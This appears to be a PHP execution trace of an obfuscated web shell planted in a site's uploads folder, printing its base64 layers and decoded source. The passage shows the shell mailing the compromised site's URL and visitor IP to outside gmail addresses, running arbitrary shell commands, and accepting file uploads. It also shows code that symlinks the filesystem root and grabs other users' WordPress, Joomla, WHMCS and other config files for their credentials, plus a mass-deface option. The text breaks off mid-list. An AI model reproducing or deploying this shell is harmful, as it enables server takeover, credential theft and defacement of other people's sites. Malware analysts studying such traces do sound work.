gJzxmb250IGNvbG9yPSJyZWQiPiBFcnJvcjwvZm9udD48YnIgLz4nOwp9Cn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPkRvbmU8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj4gRXJyb3I8L2ZvbnQ+PGJyIC8+JzsKfQp9Cn0KICAgICAgICAKZWNobyAnPC9jZW50ZXI+JzsKJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgo8dHIgY2xhc3M9ImZpcnN0Ij4KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk5hbWU8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+CjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPgo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+UGVybWlzc2lvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+CjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5PcHRpb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPgo8L3RyPic7Cgpmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJz48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LFIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVRBQkFBQUFSUkVNbEpxNzA0NnlwNkJ4c2lIRVZCRUFLWUNVUHJEcDdIbFhSZEVvTXFDZWJwIi4iLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0nPgo8YSBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPjxmb250IGNvbG9yPXJlZD4kZGlyPC9mb250PjwvYT48L3RkPgo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPiI7CiAgICAKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InllbGxvdyI+JzsKZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7CmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOwoKZWNobyAiPC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPgo8c2VsZWN0IG5hbWU9XCJvcHRcIj4KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+CjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4iOwp9CmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsKZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CmlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsKfQoKZWNobyAiPHRyPgo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+CjxhIGhyZWY9XCI/ZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+PGZvbnQgY29sb3I9cmVkPiRmaWxlPC9mb250PjwvYT48L3RkPgo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1SZWQ+Ii4kc2l6ZS4iPC9mb250PjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPiI7CmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JzsKZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7CmVjaG8gcGVybXMoIiRwYXRoLyRmaWxlIik7CmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7CmVjaG8gIjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4KPHNlbGVjdCBuYW1lPVwib3B0XCI+CjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJlZGl0XCI+RWRpdDwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+CjwvZm9ybT48L2NlbnRlcj48L3RkPgo8L3RyPiI7Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQplY2hvICc8YnIgLz4KPGNlbnRlcj4KPGZvbnQgc2l6ZT0zIDsgY29sb3I9d2hpdGU+RmlnaHRlciBBbmFzIFByaXZhdGUgU2hlbGwgVi4xIC0gPGZvbnQgc2l6ZT0zIDsgY29sb3I9cmVkPlJveWFsPGZvbnQgc2l6ZT0zIDsgY29sb3I9d2hpdGU+QmF0dGxlciBCRDxicj48Zm9udCBzaXplPTQgOyBjb2xvcj13aGl0ZT5Db3B5cmlnaHQgJmNvcHk7IEZpZ2h0ZXIgQW5hczwvZm9udD48L2JyPgoKPC9ib2R5Pgo8L2h0bWw+JzsKZnVuY3Rpb24gcGVybXMoJGZpbGUpewokcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwoKaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewovLyBTb2NrZXQKJGluZm8gPSAncyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKLy8gU3ltYm9saWMgTGluawokaW5mbyA9ICdsJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgewovLyBSZWd1bGFyCiRpbmZvID0gJy0nOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7Ci8vIEJsb2NrIHNwZWNpYWwKJGluZm8gPSAnYic7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKLy8gRGlyZWN0b3J5CiRpbmZvID0gJ2QnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ci8vIENoYXJhY3RlciBzcGVjaWFsCiRpbmZvID0gJ2MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7Ci8vIEZJRk8gcGlwZQokaW5mbyA9ICdwJzsKfSBlbHNlIHsKLy8gVW5rbm93bgokaW5mbyA9ICd1JzsKfQoKLy8gT3duZXIKJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOgooKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCi8vIEdyb3VwCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/CigoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgovLyBXb3JsZAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPwooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CigoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoKcmV0dXJuICRpbmZvOwp9\';\neval(base64_decode($code)); \n?>'	/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	0
3		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code	3	$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9U'
4	24	0	0.004972	618560	base64_decode	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code	4	1	'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9U'
4	24	1	0.005222	696416
4	24	R			'@ini_set(\'output_buffering\', 0);\n@ini_set(\'display_errors\', 0);\nset_time_limit(0);\nini_set(\'memory_limit\', \'64M\');\nheader(\'Content-Type: text/html; charset=UTF-8\');\n$tujuanmail = \'serverphpshell@gmail.com\';\n$tujuanmail1 = \'13shell37@gmail.com\';\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]")'
4	25	0	0.006631	967752	eval	1	'@ini_set(\'output_buffering\', 0);\n@ini_set(\'display_errors\', 0);\nset_time_limit(0);\nini_set(\'memory_limit\', \'64M\');\nheader(\'Content-Type: text/html; charset=UTF-8\');\n$tujuanmail = \'serverphpshell@gmail.com\';\n$tujuanmail1 = \'13shell37@gmail.com\';\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\nmail($tujuanmail1, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\nset_time_limit(0);\nerror_reporting(0);\n\n//function\nfunction ambilKata($param, $kata1, $kata2){\n    if(strpos($param, $kata1) === FALSE) return FALSE;\n    if(strpos($param, $kata2) === FALSE) return FALSE;\n    $start = strpos($param, $kata1) + strlen($kata1);\n    $end = strpos($param, $kata2, $start);\n    $return = substr($param, $start, $end - $start);\n    return $return;\n}\nif(get_magic_quotes_gpc()) {\n    function idx_ss($array) {\nreturn is_array($array) ? array_map(\'idx_ss\', $array) : stripslashes($array);\n    }\n    $_POST = idx_ss($_POST);\n}\n\nfunction exe($cmd) {\n    if(function_exists(\'system\')) {        \n@ob_start();       \n@system($cmd);     \n$buff = @ob_get_contents();        \n@ob_end_clean();       \nreturn $buff;  \n    } elseif(function_exists(\'exec\')) {        \n@exec($cmd,$results);      \n$buff = "";        \nforeach($results as $result) {         \n    $buff .= $result;      \n} return $buff;    \n    } elseif(function_exists(\'passthru\')) {        \n@ob_start();       \n@passthru($cmd);       \n$buff = @ob_get_contents();        \n@ob_end_clean();       \nreturn $buff;  \n    } elseif(function_exists(\'shell_exec\')) {      \n$buff = @shell_exec($cmd);     \nreturn $buff;  \n    }\n}\n\n//check dir\n$nick = "k0v3T";\nif(isset($_GET[\'path\'])){\n$path = $_GET[\'path\'];\n}else{\n$path = getcwd();\n}\n$software = getenv("SERVER_SOFTWARE");\n$path = str_replace(\'\\\\\',\'/\',$path);\n$paths = explode(\'/\',$path);\n\n\n////////////////////////////////////////\n\nif(!function_exists(\'posix_getegid\')) {\n    $user = @get_current_user();\n    $uid = @getmyuid();\n    $gid = @getmygid();\n    $group = "?";\n} else {\n    $uid = @posix_getpwuid(posix_geteuid());\n    $gid = @posix_getgrgid(posix_getegid());\n    $user = $uid[\'name\'];\n    $uid = $uid[\'uid\'];\n    $group = $gid[\'name\'];\n    $gid = $gid[\'gid\'];\n} \n//uname\necho "<br><b><i><center><font color=yellow size=3>Current Dir </font>: ";\nforeach($paths as $id=>$pat){\nif($pat == \'\' && $id == 0){\n$a = true;\necho \'<a href="?path=/">/</a>\';\ncontinue;\n}\nif($pat == \'\') continue;\necho \'<a href="?path=\';\nfor($i=0;$i<=$id;$i++){\necho "$paths[$i]";\nif($i != $id) echo "/";\n}\necho \'"><font color=red size=3>\'.$pat.\'</font></a>/\';\n}\n\n##TOOLBAR\necho "<hr color=yellow>\n<br><center>\n<font size=3><a href=\'?\' class=\'tombols\'>Home</a>\n<font size=3><a href=\'?path=$path&a=upload\' class=\'tombols\'>Upload</a>\n<font size=3><a href=\'?path=$path&a=cmd\' class=\'tombols\'>Command</a>\n<font size=3><a href=\'?path=$path&a=configv2\' class=\'tombols\'>Config</a>\n<font size=3><a href=\'?path=$path&a=jumping\' class=\'tombols\'>Jumping</a>\n<font size=3><a href=\'?path=$path&a=symlink\' class=\'tombols\'>Symlink</a>\n<br><br>\n<font size=3><a href=\'?path=$path&a=mass_deface\' class=\'tombols\'>Mass Deface</a>\n<font size=3><a href=\'?path=$path&a=disablefunc\' class=\'tombols\'>Bypass Disable Function</a>\n<font size=3><a href=\'?path=$path&a=rdpshell\' class=\'tombols\'>K-RDP 5H3LL</a>\n<br><br>\n<font size=3><a href=\'?path=$path&a=adminer\' class=\'tombols\'>Adminer</a>\n<font size=3><a href=\'?path=$path&a=getcp\' class=\'tombols\'>Change Password cPanel</a>\n<font size=3><a href=\'?path=$path&a=zone-h\' class=\'tombols\'>Zone-H</a>\n\n\n</center></br>\n<hr color=yellow><center>";\n\n//uploads\nif($_GET[\'a\'] == \'upload\') {\nif(isset($_FILES[\'file\'])){\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="red">Error</font><br />\';\n}\n}\necho \'<form enctype="multipart/form-data" method="POST"><font color="red" size="4">\nUpload File :<br><input type="file" name="file" />\n<input type="submit" value="Upload" />\n</form><br>\n</td></tr>\';    \n\n\n} elseif($_GET[\'a\'] == \'configv2\') {\n            if(strtolower(substr(PHP_OS, 0, 3)) == "win"){\necho \'<script>alert("Cannot be used on a Windows server")</script>\';\nexit;\n}\n    if($_POST){ if($_POST[\'config\'] == \'symvhosts\') {\n        @mkdir("RBBD_symvhosts", 0777);\nexe("ln -s / RBBD_symvhosts/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any";\n@file_put_contents("rbbd_symvhosts/.htaccess",$htaccess);\n        $etc_passwd=$_POST[\'passwd\'];\n    \n    $etc_passwd=explode("\\n",$etc_passwd);\nforeach($etc_passwd as $passwd){\n$pawd=explode(":",$passwd);\n$user =$pawd[5];\n$jembod = preg_replace(\'/\\/var\\/www\\/vhosts\\//\', \'\', $user);\nif (preg_match(\'/vhosts/i\',$user)){\nexe("ln -s ".$user."/httpdocs/wp-config.php rbbd_symvhosts/".$jembod."-Wordpress.txt");\nexe("ln -s ".$user."/httpdocs/configuration.php rbbd_symvhosts/".$jembod."-Joomla.txt");\nexe("ln -s ".$user."/httpdocs/config/koneksi.php rbbd_symvhosts/".$jembod."-Lokomedia.txt");\nexe("ln -s ".$user."/httpdocs/forum/config.php rbbd_symvhosts/".$jembod."-phpBB.txt");\nexe("ln -s ".$user."/httpdocs/sites/default/settings.php rbbd_symvhosts/".$jembod."-Drupal.txt");\nexe("ln -s ".$user."/httpdocs/config/settings.inc.php rbbd_symvhosts/".$jembod."-PrestaShop.txt");\nexe("ln -s ".$user."/httpdocs/app/etc/local.xml rbbd_symvhosts/".$jembod."-Magento.txt");\nexe("ln -s ".$user."/httpdocs/admin/config.php rbbd_symvhosts/".$jembod."-OpenCart.txt");\nexe("ln -s ".$user."/httpdocs/application/config/database.php rbbd_symvhosts/".$jembod."-Ellislab.txt"); \n}}}\nif($_POST[\'config\'] == \'symlink\') {\n@mkdir("rbbd_symconfig", 0777);\n@symlink("/","rbbd_symconfig/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any";\n@file_put_contents("rbbd_symconfig/.htaccess",$htaccess);}\nif($_POST[\'config\'] == \'404\') {\n@mkdir("rbbd_sym404", 0777);\n@symlink("/","rbbd_sym404/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\nIndexIgnore *.txt404\nRewriteEngine On\nRewriteCond %{REQUEST_FILENAME} ^.*rbbd_sym404 [NC]\nRewriteRule \\.txt$ %{REQUEST_URI}404 [L,R=302.NC]";\n@file_put_contents("rbbd_sym404/.htaccess",$htaccess);\n}\nif($_POST[\'config\'] == \'grab\') {\n                        mkdir("rbbd_configgrab", 0777);\n                        $isi_htc = "Options all\\nRequire None\\nSatisfy Any";\n                        $htc = fopen("rbbd_configgrab/.htaccess","w");\n                        fwrite($htc, $isi_htc); \n}\n$passwd = $_POST[\'passwd\'];\n\npreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\nforeach($user_config[1] as $user_rbbd) {\n$grab_config = array(\n"/home/$user_rbbd/.accesshash" => "WHM-accesshash",\n"/home/$user_rbbd/public_html/config/koneksi.php" => "Lokomedia",\n"/home/$user_rbbd/public_html/forum/config.php" => "phpBB",\n"/home/$user_rbbd/public_html/sites/default/settings.php" => "Drupal",\n"/home/$user_rbbd/public_html/config/settings.inc.php" => "PrestaShop",\n"/home/$user_rbbd/public_html/app/etc/local.xml" => "Magento",\n"/home/$user_rbbd/public_html/admin/config.php" => "OpenCart",\n"/home/$user_rbbd/public_html/application/config/database.php" => "Ellislab",\n"/home/$user_rbbd/public_html/vb/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/forum/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/forums/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/cc/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/inc/config.php" => "MyBB",\n"/home/$user_rbbd/public_html/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/shop/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/os/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/oscom/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/products/includes/configure.php" => "OsCommerce",\n"/home/$user_k0v3T/public_html/cart/includes/configure.php" => "OsCommerce",\n"/home/$user_k0v3T/public_html/inc/conf_global.php" => "IPB",\n"/home/$user_k0v3T/public_html/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wp/test/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/blog/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/beta/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/portal/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/site/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wp/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/WP/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/news/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wordpress/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/test/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/demo/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/home/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/v1/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/v2/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/press/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/new/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/blogs/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/blog/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/submitticket.php" => "^WHMCS",\n"/home/$user_k0v3T/public_html/cms/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/beta/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/portal/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/site/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/main/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/home/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/demo/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/test/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/v1/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/v2/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/joomla/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/new/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/WHMCS/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs1/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/WHMC/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whmc/submitticket.php" => 